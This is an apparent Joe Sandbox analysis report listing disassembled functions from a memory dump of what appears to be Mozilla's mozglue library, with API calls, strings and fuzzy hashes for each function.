Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 7670df4fa95a59fb5c26cc8d2b8adfb32115df7a23ee852f80cca9072c68f3c7
Instruction ID: a22fcd1ed4f4d71c7751e81e205c4fa5486481b95098a953375217394d7c6c3c
Opcode Fuzzy Hash: 7670df4fa95a59fb5c26cc8d2b8adfb32115df7a23ee852f80cca9072c68f3c7
Instruction Fuzzy Hash: 2201E874606383CBFF088FE9DD54A4237B6F74B319F14852DE91582F80D775A8AA8A21

Function 6CA405F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CA3CFAE,?,?,?,6CA031A7), ref: 6CA405FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CA3CFAE,?,?,?,6CA031A7), ref: 6CA40616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CA031A7), ref: 6CA4061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CA031A7), ref: 6CA40627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA4061B, 6CA40625
<jemalloc>, xrefs: 6CA405FA, 6CA4060F

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 929fe7dde9db6d7e6159649a2d7dac6e660a7ef8e4f4d6117a29d2a7ca231ca3
Instruction ID: 49a42f0eab6ccc7e0e5f79e7c412e15e597e2b493a6c663797db31da094dd43d
Opcode Fuzzy Hash: 929fe7dde9db6d7e6159649a2d7dac6e660a7ef8e4f4d6117a29d2a7ca231ca3
Instruction Fuzzy Hash: D1E08CE2A0211037F524225ABC86DBBB61CEBC6138F080239FD0D82701E94AAD1E51F6

Function 6CA105F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a26ecea6dd12d97c6191c0978c0cc589acea24665fe981008d4c5f076a175ec5
Instruction ID: 15b6666106b040fe23872b1482fdc52b68c890cfb46c2657642202b4b7d4ad0f
Opcode Fuzzy Hash: a26ecea6dd12d97c6191c0978c0cc589acea24665fe981008d4c5f076a175ec5
Instruction Fuzzy Hash: 87A16AB0A05745CFDB14CF29C994A99FBF1BF49304F44866ED44A97B00E770A999CFA0

Function 6CA614A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA614C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA614E2
GetCurrentThreadId.KERNEL32 ref: 6CA61546
InitializeConditionVariable.KERNEL32(?), ref: 6CA615BA
free.MOZGLUE(?), ref: 6CA616B4

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: bc3dbb6b57512580b5de9068ca99b0ef464a8eae8f24909479414abc759989bd
Instruction ID: b174431550cc6fe70aa99e078b4f8cd4e8d32121b6701e2b3578b68a5eb21984
Opcode Fuzzy Hash: bc3dbb6b57512580b5de9068ca99b0ef464a8eae8f24909479414abc759989bd
Instruction Fuzzy Hash: CE610375A007109FDB118F21C980BEEBBB0BF89308F44851CEE8A57B01DB34E999CB91

Function 6CA5DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA5DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CA5D38A,?), ref: 6CA5DC6F
free.MOZGLUE(?,?,?,?,?,6CA5D38A,?), ref: 6CA5DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CA5D38A,?), ref: 6CA5DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CA5D38A,?), ref: 6CA5DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CA5D38A,?), ref: 6CA5DD4A

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 9157e5ef5fa4b18519c2585001b893f13e82ce70ce30cb21429a9dc80168a140
Instruction ID: 6ecc7ed398ffd3bd2386c7349974eb3bfe8baa1975c2f45fb7e0b69e1f643b49
Opcode Fuzzy Hash: 9157e5ef5fa4b18519c2585001b893f13e82ce70ce30cb21429a9dc80168a140
Instruction Fuzzy Hash: 0F418D75E00215CFCB00CFA9D9809AAB7F5FF89314B998569D905ABB11D731FC54CB90

Function 6CA46590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CA3FA80: GetCurrentThreadId.KERNEL32 ref: 6CA3FA8D
Part of subcall function 6CA3FA80: AcquireSRWLockExclusive.KERNEL32(6CA8F448), ref: 6CA3FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA46727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CA467C8

Part of subcall function 6CA54290: memcpy.VCRUNTIME140(?,?,6CA62003,6CA60AD9,?,6CA60AD9,00000000,?,6CA60AD9,?,00000004,?,6CA61A62,?,6CA62003,?), ref: 6CA542C4

Strings

data, xrefs: 6CA46593

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: bd13a961c19c5b173c460ac2c5cc13f9ad94ba98715cfdb2cd533b8d584c4795
Instruction ID: 036657c68d92a13294adec1020c507d383d6338d5600b560cbc363d394bd573a
Opcode Fuzzy Hash: bd13a961c19c5b173c460ac2c5cc13f9ad94ba98715cfdb2cd533b8d584c4795
Instruction Fuzzy Hash: F4D1CD75A093408FD724CF24D951B9EB7E5BFC5308F14892DE08997B91DB30A889CB92

Function 6CA3D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CA0EB57,?,?,?,?,?,?,?,?,?), ref: 6CA3D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CA0EB57,?), ref: 6CA3D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CA0EB57,?), ref: 6CA3D673
free.MOZGLUE(?), ref: 6CA3D888

Strings

|Enabled, xrefs: 6CA3D81E

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 4bb29307ba2f1cf5300b4a1dc840d0d624ab46274fd3a0ff636dfefc34f6976e
Instruction ID: c03d2d9e5a5fa6937cc047577f70dfc805e5869a3094a1bb9946a299d0add1c2
Opcode Fuzzy Hash: 4bb29307ba2f1cf5300b4a1dc840d0d624ab46274fd3a0ff636dfefc34f6976e
Instruction Fuzzy Hash: 8DA1F4B0E15325CFDB01CF69C4946EEBBF1AF49318F18815CD899AB741D730A989CBA1

Function 6CA3F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CA3F480

Part of subcall function 6CA0F100: LoadLibraryW.KERNEL32(shell32,?,6CA7D020), ref: 6CA0F122
Part of subcall function 6CA0F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA0F132

CloseHandle.KERNEL32(00000000), ref: 6CA3F555

Part of subcall function 6CA114B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA11248,6CA11248,?), ref: 6CA114C9
Part of subcall function 6CA114B0: memcpy.VCRUNTIME140(?,6CA11248,00000000,?,6CA11248,?), ref: 6CA114EF

Part of subcall function 6CA0EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CA0EEE3

CreateFileW.KERNEL32 ref: 6CA3F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CA3F523

Strings

\oleacc.dll, xrefs: 6CA3F4CB

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: ea1051c0c5d078d6951ac33f069d9058a3d613501ff0d81c04bb38f50adfabce
Instruction ID: 3a99e2a96556238a088b45836a5aefae3c76d320d8e8d6eee26b536fcd2371f2
Opcode Fuzzy Hash: ea1051c0c5d078d6951ac33f069d9058a3d613501ff0d81c04bb38f50adfabce
Instruction Fuzzy Hash: D041CE306187219FE320CF29DD94A9BB3F4BF45318F105A5CE595C3650EB30D9898BA2

Function 6CA674A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CA67526
__Init_thread_footer.LIBCMT ref: 6CA67566
__Init_thread_footer.LIBCMT ref: 6CA67597

Strings

UnmapViewOfFile2, xrefs: 6CA67552
kernel32.dll, xrefs: 6CA67557

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 5f5f46f31b24cf4b71ba2e601dd16796820375838894aa68901c2b8b6f71224e
Instruction ID: 8efed44c2aabfab4f3d7595899c76081cf78507a9b67a186ee9c2f1799157f4a
Opcode Fuzzy Hash: 5f5f46f31b24cf4b71ba2e601dd16796820375838894aa68901c2b8b6f71224e
Instruction Fuzzy Hash: AB21F8317126139BEE188FEA8D18E593376EB47324B14856CE806D7F40CB30ACC68665

Function 6CA6C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA6C0E9), ref: 6CA6C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CA6C437
FreeLibrary.KERNEL32(?,6CA6C0E9), ref: 6CA6C44C

Strings

ntdll.dll, xrefs: 6CA6C413
NtQueryVirtualMemory, xrefs: 6CA6C431

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: e06885c3db77d1436b1b8adae50b03f3da5f6f12d3e397edae41260d9a74023d
Instruction ID: 1004e25328f217c37d6b1e4ed8d080a325bb921d83882f7c092b71b4945a0106
Opcode Fuzzy Hash: e06885c3db77d1436b1b8adae50b03f3da5f6f12d3e397edae41260d9a74023d
Instruction Fuzzy Hash: 72E092746033039FEF08BBB29D1C7127AF8B70B209F84C61AEA0491A40EBB0C056CA60

Function 6CA675B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA6748B,?), ref: 6CA675B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CA675D7
FreeLibrary.KERNEL32(?,6CA6748B,?), ref: 6CA675EC

Strings

RtlNtStatusToDosError, xrefs: 6CA675D1
ntdll.dll, xrefs: 6CA675B3

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 22527323211912bc05c733f70a4f62688dcb34c1192d73b4e897c15216973e40
Instruction ID: c19a5256fada9bf16f1453068e3b07246bc7f1965fe6b103b07cbfa168502e16
Opcode Fuzzy Hash: 22527323211912bc05c733f70a4f62688dcb34c1192d73b4e897c15216973e40
Instruction Fuzzy Hash: BCE07571602303AFFF085BA29C487027AF8EB07314F548529ED05E1A40DB748087CF20

Function 6CA67600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CA67592), ref: 6CA67608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CA67627
FreeLibrary.KERNEL32(?,6CA67592), ref: 6CA6763C

Strings

ntdll.dll, xrefs: 6CA67603
NtUnmapViewOfSection, xrefs: 6CA67621

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: e5993f96fab3d493d7b8ce95fd1157f1a00969039759b95741b85439c268c231
Instruction ID: 0068f0d54c93f8e0cc6f5b1f3b5de8614399d64d783f66cbb12d063f6323bd99
Opcode Fuzzy Hash: e5993f96fab3d493d7b8ce95fd1157f1a00969039759b95741b85439c268c231
Instruction Fuzzy Hash: 4FE09A746133039FFF085BA69C087417AB8F71B359F04C619ED06D1A40E77080468B24

Function 6CA58E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CA4B58D,?,?,?,?,?,?,?,6CA7D734,?,?,?,6CA7D734), ref: 6CA58E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CA4B58D,?,?,?,?,?,?,?,6CA7D734,?,?,?,6CA7D734), ref: 6CA58EBF
free.MOZGLUE(?,?,?,?,6CA4B58D,?,?,?,?,?,?,?,6CA7D734,?,?,?), ref: 6CA58F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CA4B58D,?,?,?,?,?,?,?,6CA7D734,?,?,?,6CA7D734), ref: 6CA58F46
free.MOZGLUE(?,?,?,?,6CA4B58D,?,?,?,?,?,?,?,6CA7D734,?,?,?), ref: 6CA58F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CA4B58D,?,?,?,?,?,?,?,6CA7D734,?,?,?), ref: 6CA58F8F

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 4d068ec8480c5efb04f645917c3a62bed913fb277c0a2d0284c234245ea0013c
Instruction ID: 3db5e209eb2316653b15afe91f41e757247852a91cc4ba7dd02fa7f823e84b5d
Opcode Fuzzy Hash: 4d068ec8480c5efb04f645917c3a62bed913fb277c0a2d0284c234245ea0013c
Instruction Fuzzy Hash: C25138B1A112168FEB14CF58D88076E73B2FF48308F58852AD916EB700E732F958CB91

Function 6CA04DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA04E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA04E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA04EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA04F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CA04F1E

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: af8c3f0fcaf1ba7c625b7f17632d43a262cecdb5afe37e6946c05712b65ce8a5
Instruction ID: b250a448f4c74626ffcaab8348f5c6476c04f1f551eb7bba1963e6785456d622
Opcode Fuzzy Hash: af8c3f0fcaf1ba7c625b7f17632d43a262cecdb5afe37e6946c05712b65ce8a5
Instruction Fuzzy Hash: 8E41D0716087019FC705CF29D48099BB7F4BF99388F148A2DF46687B41DB70E998CB91

Function 6CA11530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CA1152B,?,?,?,?,6CA11248,?), ref: 6CA1159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA1152B,?,?,?,?,6CA11248,?), ref: 6CA115BC
moz_xmalloc.MOZGLUE(-00000001,?,6CA1152B,?,?,?,?,6CA11248,?), ref: 6CA115E7
free.MOZGLUE(?,?,?,?,?,?,6CA1152B,?,?,?,?,6CA11248,?), ref: 6CA11606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CA1152B,?,?,?,?,6CA11248,?), ref: 6CA11637

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: a3869936e0cf06c6835d79f6f8e011f1ad727f466d3fac56c9284d972e577ea4
Instruction ID: bd37238ec758ee98e759f200fa7105df8fe154015f190d20f1da1aace4ef2fd1
Opcode Fuzzy Hash: a3869936e0cf06c6835d79f6f8e011f1ad727f466d3fac56c9284d972e577ea4
Instruction Fuzzy Hash: C031E472A081148BCB188E68D9504BE73E9BB913747280B2DE523DBFD4EB31D9848791

Function 6CA6AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CA7E330,?,6CA2C059), ref: 6CA6AD9D

Part of subcall function 6CA1CA10: malloc.MOZGLUE(?), ref: 6CA1CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CA7E330,?,6CA2C059), ref: 6CA6ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CA7E330,?,6CA2C059), ref: 6CA6AE01
GetLastError.KERNEL32(?,00000000,?,?,6CA7E330,?,6CA2C059), ref: 6CA6AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CA7E330,?,6CA2C059), ref: 6CA6AE3D

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: e572321c137aa9f54ad1ce63c033c1b8d0513c4fc2ac9ae66ec18e11941b1886
Instruction ID: 66b2a98ad14a8578eded82f31e2a10cc8b5cef0cec1f436ee9ce9c9107380e9a
Opcode Fuzzy Hash: e572321c137aa9f54ad1ce63c033c1b8d0513c4fc2ac9ae66ec18e11941b1886
Instruction Fuzzy Hash: D43182B5A003259FDB10DF768D44AABB7F9EF49614F148829E85AD7700E734D844CBB0

Function 6CA65EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CA7DCA0,?,?,?,6CA3E8B5,00000000), ref: 6CA65F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CA3E8B5,00000000), ref: 6CA65F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CA3E8B5,00000000), ref: 6CA65F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CA3E8B5,00000000), ref: 6CA65F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CA3E8B5,00000000), ref: 6CA65FD6

Memory Dump Source

